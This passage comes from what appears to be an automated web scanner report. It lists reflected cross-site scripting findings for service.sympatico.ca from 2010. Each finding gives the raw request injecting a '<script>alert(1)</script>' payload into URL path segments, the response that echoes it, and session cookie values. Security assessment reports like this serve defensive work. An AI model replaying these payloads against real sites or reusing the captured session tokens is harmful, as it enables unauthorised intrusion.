26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Fri, 16-Nov-2040 23:07:27 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
<input type="hidden" name="return" value="http://service.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=http://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/js1ae9d"><script>alert(1)</script>f451a073dd5/jquery.cookie.js" />
...[SNIP]...

2.205. http://service.sympatico.ca/js/jquery.cookie.js [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://service.sympatico.ca
Path:   /js/jquery.cookie.js

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5bf8f"><script>alert(1)</script>23b7fb0ad2a was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /js/jquery.cookie.js5bf8f"><script>alert(1)</script>23b7fb0ad2a HTTP/1.1
Accept: */*
Referer: http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/script%3E08b85c0c654
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: service.sympatico.ca
Proxy-Connection: Keep-Alive
Cookie: SMSESSION=I8d9V4Im+SYAmnr0ASgw3nUeJmDwFVQSOYsJHEu6TYIUttiYd5gH1Kd6dWK0gILb5phTqiMm2dv1QsQUxicewaMOdy8awKKMdI/GgFGClUq72TWn32TJgSBKRQqfIiWRruTs7w+LoQcwwDJPmA4acRIh9KXMDVvKk7VyGFGFFA37G0dvxDi0c2mVfmaZ8Q5ww6ZUKqGdDrdgKt9GFPq+nDBB1Hvb3pGAdPaElPrAPnILUj1yLFx1bO1oGFcAOQRd+JUYYLfek2SKRrygpl4wHaj8NUoxwdGItiRueGe3sz2stTwYB+licg==; BASE_CACHED_URL=index%2Ecfm; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; VOKEN_SEEN=0; CFID=122144238; CFTOKEN=86284596; UUID=7E7A2A7B%2D65B8%2DB18C%2D8210DF31E73E8B98; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 24 Nov 2010 23:07:35 GMT
Connection: close
Set-Cookie: SMSESSION=FPOxqVl1EsUzHTXA3EH5hgPMPzlALI0BXdYmkcc6TdpdFhiyzPwWH5F6X78zpOx7Y/qNcDe4FusGIDRRn+gFLKWc9PgRQU6BYe54fq7Unt5Yapk2g9oB5UzrRHzZL/PDkc3G5wZ3PoTrxPykzR//0H4cQqfleBVaYeSQBMXzdw9cf/fUrYQ8OIREAb7ulSqOHWF/DKvl3X/0JvcgN1bVdjpuV89wcNHbbTlr/qn4KBnbwLWJTc52OKqBzncPtmwuZjCelfBr8bOztbNSpxtpy4uthX5SdrqAZvTHIyzFRHJdukt7K3OQtg==; path=/
Set-Cookie: GEO_IPAD=;path=/
Set-Cookie: GEO_SPEED=Unknown;path=/
Set-Cookie: GEO_PROVIDER=Unknown;path=/
Set-Cookie: GEO_REGION=Unknown;path=/
Set-Cookie: GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7;expires=Thu, 25-Nov-2010 23:07:36 GMT;path=/
Set-Cookie: GEO_SPEED=Unknown;expires=Thu, 25-Nov-2010 23:07:36 GMT;path=/
Set-Cookie: GEO_PROVIDER=Unknown;expires=Thu, 25-Nov-2010 23:07:36 GMT;path=/
Set-Cookie: GEO_REGION=Unknown;expires=Thu, 25-Nov-2010 23:07:36 GMT;path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Tue, 24-Nov-2009 23:07:36 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Tue, 24-Nov-2009 23:07:36 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Tue, 24-Nov-2009 23:07:36 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Tue, 24-Nov-2009 23:07:36 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Tue, 24-Nov-2009 23:07:36 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Tue, 24-Nov-2009 23:07:36 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Tue, 24-Nov-2009 23:07:36 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Tue, 24-Nov-2009 23:07:36 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Tue, 24-Nov-2009 23:07:36 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Fri, 16-Nov-2040 23:07:36 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
dden" name="return" value="http://service.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=http://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/js/jquery.cookie.js5bf8f"><script>alert(1)</script>23b7fb0ad2a" />
...[SNIP]...

2.206. http://service.sympatico.ca/js/jquery.dialogpopup.js [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://service.sympatico.ca
Path:   /js/jquery.dialogpopup.js

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 6112d"><script>alert(1)</script>68ff7709a5d was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /js6112d"><script>alert(1)</script>68ff7709a5d/jquery.dialogpopup.js HTTP/1.1
Accept: */*
Referer: http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/script%3E08b85c0c654
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: service.sympatico.ca
Proxy-Connection: Keep-Alive
Cookie: SMSESSION=I8d9V4Im+SYAmnr0ASgw3nUeJmDwFVQSOYsJHEu6TYIUttiYd5gH1Kd6dWK0gILb5phTqiMm2dv1QsQUxicewaMOdy8awKKMdI/GgFGClUq72TWn32TJgSBKRQqfIiWRruTs7w+LoQcwwDJPmA4acRIh9KXMDVvKk7VyGFGFFA37G0dvxDi0c2mVfmaZ8Q5ww6ZUKqGdDrdgKt9GFPq+nDBB1Hvb3pGAdPaElPrAPnILUj1yLFx1bO1oGFcAOQRd+JUYYLfek2SKRrygpl4wHaj8NUoxwdGItiRueGe3sz2stTwYB+licg==; BASE_CACHED_URL=index%2Ecfm; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; VOKEN_SEEN=0; CFID=122144238; CFTOKEN=86284596; UUID=7E7A2A7B%2D65B8%2DB18C%2D8210DF31E73E8B98; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 24 Nov 2010 23:06:38 GMT
Connection: close
Set-Cookie: SMSESSION=UbWFUEdUG1o/HoiUo75UiL0A5SGOIF8cLup/Pr8lbVx/Os7AWsMdXMXB1MbUizKI834oIj4IN7XJMjRqN+gAp2TYm0wm5N1mewaehguTMaU7b64T0nCZk0K2opdl9XrA/oW/2kGh2uXBkm0GMNgLq5+UtM/TmdVNgscfzsEH4tte0Wga0+F60WQ5P8Lx5/Pb0uGtQ5Ycrhl2H7n0767bpTZUTbUADbKdmGiho9VFm8rbCSMtmyGnTErl+vZvxNtcyfgFKxe+TKaPyHZwt9IWtWcKzKbhDQZppivtzqfC0P77I+Nn2FhRLQ==; path=/
Set-Cookie: GEO_IPAD=;path=/
Set-Cookie: GEO_SPEED=Unknown;path=/
Set-Cookie: GEO_PROVIDER=Unknown;path=/
Set-Cookie: GEO_REGION=Unknown;path=/
Set-Cookie: GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7;expires=Thu, 25-Nov-2010 23:06:38 GMT;path=/
Set-Cookie: GEO_SPEED=Unknown;expires=Thu, 25-Nov-2010 23:06:38 GMT;path=/
Set-Cookie: GEO_PROVIDER=Unknown;expires=Thu, 25-Nov-2010 23:06:38 GMT;path=/
Set-Cookie: GEO_REGION=Unknown;expires=Thu, 25-Nov-2010 23:06:38 GMT;path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Tue, 24-Nov-2009 23:06:38 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Tue, 24-Nov-2009 23:06:38 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Tue, 24-Nov-2009 23:06:38 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Tue, 24-Nov-2009 23:06:38 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Tue, 24-Nov-2009 23:06:38 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Tue, 24-Nov-2009 23:06:38 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Tue, 24-Nov-2009 23:06:38 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Tue, 24-Nov-2009 23:06:38 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Tue, 24-Nov-2009 23:06:38 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Fri, 16-Nov-2040 23:06:38 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
<input type="hidden" name="return" value="http://service.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=http://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/js6112d"><script>alert(1)</script>68ff7709a5d/jquery.dialogpopup.js" />
...[SNIP]...

2.207. http://service.sympatico.ca/js/jquery.dialogpopup.js [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://service.sympatico.ca
Path:   /js/jquery.dialogpopup.js

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a298f"><script>alert(1)</script>44952989070 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /js/jquery.dialogpopup.jsa298f"><script>alert(1)</script>44952989070 HTTP/1.1
Accept: */*
Referer: http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/script%3E08b85c0c654
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: service.sympatico.ca
Proxy-Connection: Keep-Alive
Cookie: SMSESSION=I8d9V4Im+SYAmnr0ASgw3nUeJmDwFVQSOYsJHEu6TYIUttiYd5gH1Kd6dWK0gILb5phTqiMm2dv1QsQUxicewaMOdy8awKKMdI/GgFGClUq72TWn32TJgSBKRQqfIiWRruTs7w+LoQcwwDJPmA4acRIh9KXMDVvKk7VyGFGFFA37G0dvxDi0c2mVfmaZ8Q5ww6ZUKqGdDrdgKt9GFPq+nDBB1Hvb3pGAdPaElPrAPnILUj1yLFx1bO1oGFcAOQRd+JUYYLfek2SKRrygpl4wHaj8NUoxwdGItiRueGe3sz2stTwYB+licg==; BASE_CACHED_URL=index%2Ecfm; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; VOKEN_SEEN=0; CFID=122144238; CFTOKEN=86284596; UUID=7E7A2A7B%2D65B8%2DB18C%2D8210DF31E73E8B98; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 24 Nov 2010 23:06:41 GMT
Connection: close
Set-Cookie: SMSESSION=5RvICCnHMsUFnK5OWz92WGkpp2oIuRIfUks/m65Qp7q4Wia25BKnTokccD0qmRjktF9JubMRuzGNYu9vEPouK5RinapHCNezlDPtsmOgIcCG+D6pLeVMd034blX9xIJtJmXTafZrqnFWV6s3t8LFAXvdz9796EquN9wS5qdUQP7diNV+VCzok5P+CC0ydwn1fuasR94aW2Q7Bl/AA1WJhT9LTDXv8lFqXr/JA+59qilnecpJeis5GGIbqSoUUZ49e5+GMldmQEDtWB2fiyJ8vwBqUE1VtWsxaQzVfLwYQ7HfUUeSKCrKgg==; path=/
Set-Cookie: GEO_IPAD=;path=/
Set-Cookie: GEO_SPEED=Unknown;path=/
Set-Cookie: GEO_PROVIDER=Unknown;path=/
Set-Cookie: GEO_REGION=Unknown;path=/
Set-Cookie: GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7;expires=Thu, 25-Nov-2010 23:06:41 GMT;path=/
Set-Cookie: GEO_SPEED=Unknown;expires=Thu, 25-Nov-2010 23:06:41 GMT;path=/
Set-Cookie: GEO_PROVIDER=Unknown;expires=Thu, 25-Nov-2010 23:06:41 GMT;path=/
Set-Cookie: GEO_REGION=Unknown;expires=Thu, 25-Nov-2010 23:06:41 GMT;path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Tue, 24-Nov-2009 23:06:41 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Tue, 24-Nov-2009 23:06:41 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Tue, 24-Nov-2009 23:06:41 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Tue, 24-Nov-2009 23:06:41 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Tue, 24-Nov-2009 23:06:41 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Tue, 24-Nov-2009 23:06:41 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Tue, 24-Nov-2009 23:06:41 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Tue, 24-Nov-2009 23:06:41 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Tue, 24-Nov-2009 23:06:41 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3